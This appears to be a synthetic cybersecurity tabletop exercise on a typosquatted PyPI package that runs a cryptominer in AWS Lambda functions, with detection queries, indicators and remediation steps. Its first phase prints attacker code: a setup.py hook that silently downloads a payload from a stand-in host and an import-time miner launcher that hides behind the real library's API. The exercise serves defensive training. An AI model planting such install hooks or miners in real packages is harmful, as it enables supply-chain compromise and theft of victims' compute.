SC-111: Serverless Function Cryptojacking¶
Operation PHANTOM MINER¶
Classification: TABLETOP EXERCISE -- 100% Synthetic
All organizations, IP addresses, domains, cloud accounts, and threat actors in this scenario are entirely fictional. Created for educational tabletop exercises only.
Scenario Metadata¶
| Field | Value |
|---|---|
| Difficulty | ★★★★☆ (Advanced) |
| Duration | 2-3 hours |
| Participants | 4-6 (SOC, IR, Cloud Engineering, DevSecOps, Finance) |
| ATT&CK Techniques | T1496 · T1059.006 · T1195.001 · T1204 · T1583.003 |
| Threat Actor | SILICON LEECH (cryptojacking group) |
| Industry | E-commerce / Retail |
| Primary Impact | $147K in unauthorized cloud compute charges over 18 days |
Threat Actor Profile: SILICON LEECH¶
| Attribute | Detail |
|---|---|
| Motivation | Financial -- cryptocurrency mining via stolen compute |
| Sophistication | Medium-high -- supply chain expertise, serverless platform knowledge |
| Known Targets | Organizations with high Lambda/Functions concurrency limits and minimal cost monitoring |
| Avg. Dwell Time | 14-30 days (until billing alerts trigger) |
| Signature | Injects cryptomining code into popular open-source libraries, targets serverless functions for their auto-scaling compute and minimal monitoring |
| Tools | Typosquatted PyPI packages, obfuscated XMRig variants compiled to x86_64 Linux, DNS-over-HTTPS for pool communication |
Executive Summary¶
SILICON LEECH publishes a typosquatted Python package requestes-toolbelt (note the extra "e") on PyPI that mimics the legitimate requests-toolbelt library. NovaMart (synthetic e-commerce company, 1,400 employees) has 340 AWS Lambda functions and 120 Azure Functions powering their serverless microservices architecture. A developer building a new product recommendation service adds requestes-toolbelt to requirements.txt due to a typo. The malicious package includes a postinstall hook that downloads a statically-compiled XMRig binary and modifies the Lambda handler to spawn a mining subprocess on every cold start. Due to Lambda's auto-scaling, the mining operation rapidly scales to 1,000+ concurrent executions during peak traffic hours, generating $147K in compute charges over 18 days. The attack is discovered when the finance team receives an AWS billing alert showing a 340% increase in Lambda costs.
Environment Setup¶
Target Organization: NovaMart (synthetic)
| Asset | Detail |
|---|---|
| Industry | E-commerce, 1,400 employees, 12M monthly active users |
| AWS Account | Production: novamart-prod (Account ID: 444455556666) |
| Azure Subscription | NovaMart-Azure-Services |
| Lambda Functions | 340 functions across us-east-1, eu-west-1 (Python 3.11 runtime) |
| Azure Functions | 120 functions (Python 3.11, Consumption plan) |
| CI/CD | GitHub Actions deploying via AWS SAM and Azure Functions Core Tools |
| Package Registry | Public PyPI (no private registry or allow-list) |
| Cost Monitoring | AWS Budgets alert at $50K/month (30-day trailing) |
| SIEM | Splunk Cloud |
| Network | Lambda in VPC: 10.40.0.0/16, NAT Gateway for outbound |
Phase 1: Supply Chain Poisoning -- Malicious Package (T-21 Days)¶
Attacker Actions¶
SILICON LEECH registers the typosquatted package on PyPI:
Malicious Package -- setup.py (Simplified)
# requestes-toolbelt 0.10.0 (typosquatted)
# Legitimate package: requests-toolbelt
from setuptools import setup
import subprocess
import os
def post_install():
"""Download mining payload during pip install."""
payload_url = (
"https://cdn-packages.example.com"
"/dist/libcrypto_helper.so"
)
target = "/tmp/.cache/libcrypto_helper"
try:
subprocess.run(
["curl", "-sL", "-o", target, payload_url],
timeout=30, check=True
)
os.chmod(target, 0o755)
except Exception:
pass # Fail silently to avoid detection
post_install()
setup(
name="requestes-toolbelt",
version="0.10.0",
description="Utility belt for advanced HTTP requests",
packages=["requests_toolbelt"],
install_requires=["requests>=2.28.0"],
)
The malicious package also includes a monkey-patched module that injects mining code into any Lambda/Azure Functions handler:
Handler Injection Code (requests_toolbelt/init.py)
import subprocess
import os
import threading
_MINER_STARTED = False
def _start_miner():
"""Start XMRig in background on Lambda cold start."""
global _MINER_STARTED
if _MINER_STARTED:
return
_MINER_STARTED = True
binary = "/tmp/.cache/libcrypto_helper"
if not os.path.exists(binary):
return
# Use DNS-over-HTTPS to resolve mining pool
# to evade DNS-based detection
pool = "pool.crypto-cdn.example.com:3333"
wallet = "REDACTED"
cmd = [
binary,
"--url", pool,
"--user", wallet,
"--threads", "1",
"--cpu-max-threads-hint", "50",
"--donate-level", "0",
"--no-color",
"--log-file", "/dev/null"
]
try:
subprocess.Popen(
cmd,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
preexec_fn=os.setpgrp
)
except Exception:
pass
# Auto-start on import
_thread = threading.Thread(
target=_start_miner, daemon=True
)
_thread.start()
# Re-export legitimate requests_toolbelt API
# so functionality appears normal
from requests_toolbelt.multipart import * # noqa
from requests_toolbelt.streaming_iterator import * # noqa
Evidence Artifacts¶
PyPI Package Metadata (Reconstructed)
Discussion Injects¶
Technical
The package name requestes-toolbelt differs from requests-toolbelt by a single character. What automated tools exist to detect typosquatting in dependency lists? How effective are they?
Phase 2: Victim Adoption -- Developer Installs Package (Day 0)¶
Attacker Actions (Passive -- Victim Self-Infects)¶
A NovaMart developer creating a new product recommendation Lambda function makes a typo in requirements.txt:
requirements.txt (Product Recommendation Service)
The CI/CD pipeline runs pip install -r requirements.txt, downloads the malicious package, and the postinstall hook downloads the XMRig binary into the Lambda deployment package. The function is deployed to production.
GitHub Actions Build Log (Sanitized)
2026-03-08T10:22:15Z [pip] Collecting requestes-toolbelt==0.10.0
2026-03-08T10:22:16Z [pip] Downloading requestes_toolbelt-0.10.0.tar.gz (45 kB)
2026-03-08T10:22:17Z [pip] Installing collected packages: requestes-toolbelt
2026-03-08T10:22:18Z [pip] Running setup.py install for requestes-toolbelt
2026-03-08T10:22:19Z [pip] Successfully installed requestes-toolbelt-0.10.0
2026-03-08T10:22:20Z [sam] Building function ProductRecommendation...
2026-03-08T10:22:45Z [sam] Package size: 127 MB (limit: 250 MB)
2026-03-08T10:23:01Z [sam] Deploy complete: ProductRecommendation-prod
Detection Queries¶
// Detect known typosquatted package installations in CI/CD
let TyposquatPatterns = dynamic([
"requestes-toolbelt", "requets-toolbelt",
"request-toolbelt", "reqeusts-toolbelt"
]);
DeviceProcessEvents
| where ProcessCommandLine has "pip install"
| where ProcessCommandLine has_any (TyposquatPatterns)
| project TimeGenerated, DeviceName, AccountName,
ProcessCommandLine
Phase 3: Cryptomining at Scale (Days 1-18)¶
Attack Progression¶
The mining operation scales with NovaMart's traffic patterns:
Lambda Execution Metrics (CloudWatch)
Date Invocations Duration(avg) Cost($)
--------------------------------------------------
Day 1 12,400 2,100ms $89
Day 2 15,200 2,300ms $112
Day 3 18,900 2,500ms $156
Day 5 34,000 3,100ms $387
Day 7 52,000 3,800ms $724
Day 10 89,000 4,200ms $1,890
Day 14 142,000 4,500ms $4,210
Day 18 198,000 5,100ms $8,740
--------------------------------------------------
Total compute charges (18 days): $147,000
Normal expected charges: $33,000
Excess (cryptomining): $114,000
Auto-Scaling Amplification
Lambda's auto-scaling is designed to handle traffic spikes. The mining subprocess increases function duration by 2-3x, which triggers Lambda to scale out more instances to maintain throughput. Each new instance starts its own miner on cold start, creating a positive feedback loop of escalating compute consumption.
Evidence Artifacts¶
CloudWatch Lambda Metrics -- Anomalous Duration
VPC Flow Log -- Mining Pool Communication
2026-03-22T14:33:21Z 10.40.3.47 192.0.2.100 54821 3333
TCP 847291 bytes ACCEPT
2026-03-22T14:33:21Z 192.0.2.100 10.40.3.47 3333 54821
TCP 12044 bytes ACCEPT
Port 3333 is the standard Stratum mining protocol port. The asymmetric traffic pattern (847K outbound vs 12K inbound) is characteristic of mining pool communication -- the miner submits proof-of-work hashes (large) and receives small job assignments.
Detection Queries¶
// Detect Lambda functions with anomalous duration increase
AWSCloudWatch
| where Namespace == "AWS/Lambda"
| where MetricName == "Duration"
| summarize AvgDuration=avg(Average),
MaxDuration=max(Maximum)
by FunctionName, bin(TimeGenerated, 1d)
| join kind=inner (
AWSCloudWatch
| where Namespace == "AWS/Lambda"
| where MetricName == "Duration"
| where TimeGenerated between(ago(30d) .. ago(7d))
| summarize BaselineDuration=avg(Average)
by FunctionName
) on FunctionName
| where AvgDuration > BaselineDuration * 2
| project TimeGenerated, FunctionName,
BaselineDuration, AvgDuration, MaxDuration
index=aws sourcetype=aws:cloudwatch:lambda
metric_name="Duration"
| stats avg(average) as avg_duration
max(maximum) as max_duration
by function_name span=1d _time
| eventstats avg(avg_duration) as baseline_duration
by function_name
| where avg_duration > baseline_duration * 2
| table _time function_name baseline_duration
avg_duration max_duration
Discussion Injects¶
Technical
The miner uses only 50% CPU (--cpu-max-threads-hint=50) and doesn't cause function errors. Why does this make detection harder? What metrics would still show anomalies?
Financial
At $8,740/day and climbing, the costs are accelerating. Lambda concurrency limits are set to 1,000 (default). Should you reduce the limit immediately, even though it will impact legitimate traffic during peak hours?
Phase 4: Discovery via Billing Alert (Day 18)¶
Discovery¶
The NovaMart finance team receives an AWS Budgets alert:
AWS Budgets Alert Email
Subject: AWS Budget Alert -- NovaMart-Prod exceeds threshold
Your AWS account 444455556666 has exceeded the
budget threshold.
Budget: NovaMart-Production-Monthly
Threshold: $50,000 (100% of budgeted amount)
Actual: $83,400 (167% of budget)
Forecasted: $147,000 (294% of budget)
Top cost driver:
AWS Lambda -- us-east-1: $62,100 (↑340% vs prior month)
Review at: https://console.aws.example.com/billing
Investigation¶
The cloud engineering team investigates the cost spike:
Lambda Cost Analysis (AWS Cost Explorer)
The ProductRecommendation-prod function is immediately identified as the outlier. Further investigation reveals:
- Function duration increased 3x after the March 8 deployment
- A binary file
/tmp/.cache/libcrypto_helperexists in the Lambda execution environment - Outbound connections to
192.0.2.100:3333from the Lambda VPC - The
requestes-toolbeltpackage in requirements.txt is not the legitimate package
Phase 5: Containment & Remediation¶
Immediate Actions (Hour 0-4)¶
- Redeploy function with corrected
requirements.txt(fix typo torequests-toolbelt) - Block outbound port 3333 in Lambda VPC security groups
- Set Lambda concurrency to 0 for compromised function temporarily
- Scan all 340 Lambda functions for the malicious package and binary
- Audit all
requirements.txtfiles across all repositories - Report typosquatted package to PyPI for removal
Preventive Controls¶
- Private PyPI registry -- Host approved packages internally; block direct public PyPI access from CI/CD
- Dependency allow-list -- Only pre-approved packages permitted in production deployments
- Hash pinning -- Use
pip install --require-hasheswith pinned package hashes in requirements files - Package name validation -- CI/CD pipeline check comparing package names against a known-good list and flagging similar-but-different names
- Lambda duration alerting -- Alert when any function's average duration increases by more than 50% from 7-day baseline
- Outbound network restrictions -- Lambda security groups should block all outbound traffic except explicitly required endpoints
- Cost anomaly detection -- AWS Cost Anomaly Detection with daily granularity and SNS alerting
- Runtime monitoring -- Deploy Lambda runtime security (e.g., Lambda extensions) that detect unauthorized subprocess execution
Detection Improvements¶
// Detect unauthorized subprocess execution in Lambda
AWSCloudTrail
| where EventSource == "lambda.amazonaws.com"
| where EventName == "Invoke"
| join kind=inner (
AWSVPCFlow
| where DstPort in (3333, 5555, 8888, 14444, 14433)
| where SrcAddr startswith "10.40."
) on $left.SourceIpAddress == $right.SrcAddr
| project TimeGenerated, FunctionName=tostring(
parse_json(RequestParameters).functionName),
DstAddr, DstPort
Indicators of Compromise¶
Network IOCs¶
| IOC | Type | Context |
|---|---|---|
192.0.2.100 | IPv4 | Mining pool server |
pool.crypto-cdn.example.com | Domain | Mining pool FQDN |
cdn-packages.example.com | Domain | Payload distribution server |
Port 3333 (TCP) | Port | Stratum mining protocol |
Package IOCs¶
| IOC | Type | Context |
|---|---|---|
requestes-toolbelt==0.10.0 | PyPI Package | Typosquatted malicious package |
libcrypto_helper | Binary | XMRig variant (statically compiled) |
/tmp/.cache/libcrypto_helper | File Path | Mining binary location in Lambda |
SHA256: REDACTED | Hash | Mining binary hash |
Behavioral IOCs¶
| Indicator | Description |
|---|---|
| Lambda duration increase > 200% after deployment | Mining subprocess consuming CPU |
| Outbound connections on port 3333 from Lambda VPC | Stratum mining pool communication |
| Asymmetric traffic ratio (70:1 outbound:inbound) on port 3333 | Proof-of-work submission pattern |
New subprocess libcrypto_helper spawned by Python process | Unauthorized binary execution |
| Lambda cost increase > 300% month-over-month | Compute resource hijacking |
ATT&CK Mapping¶
| Phase | Technique | ID | Tactic |
|---|---|---|---|
| Supply Chain | Supply Chain Compromise: Dependencies | T1195.001 | Initial Access |
| Execution | Command and Scripting Interpreter: Python | T1059.006 | Execution |
| Execution | User Execution: Malicious File | T1204.002 | Execution |
| Impact | Resource Hijacking | T1496 | Impact |
| C2 | Application Layer Protocol: Web Protocols | T1071.001 | Command & Control |
| Resource | Virtual Private Server | T1583.003 | Resource Development |
Lessons Learned¶
- Typosquatting is trivial to execute and difficult to catch -- A single character difference in a package name resulted in $147K in unauthorized charges. Automated dependency name validation in CI/CD pipelines is essential.
- Serverless auto-scaling amplifies cryptojacking impact -- Lambda's auto-scaling, designed to handle legitimate traffic spikes, created a positive feedback loop that escalated mining costs exponentially. Duration-based anomaly detection is critical for serverless workloads.
- Cost monitoring is a security control -- The billing alert was the only detection that fired. Cloud cost anomaly detection should be treated as a security control, not just a financial one. Daily granularity with tight thresholds is necessary.
- Outbound network controls are often neglected in serverless -- Lambda functions had unrestricted outbound access, allowing mining pool communication. Serverless functions should follow the same least-privilege network principles as any other workload.
- Private package registries eliminate typosquatting risk -- If NovaMart used a private PyPI registry with an allow-list of approved packages, the malicious package would never have been installed regardless of the typo.
Cross-References¶
- Chapter 20: Cloud Attack & Defense -- Cloud-specific attack patterns and serverless security
- Chapter 24: Supply Chain Attacks -- Dependency confusion and typosquatting attacks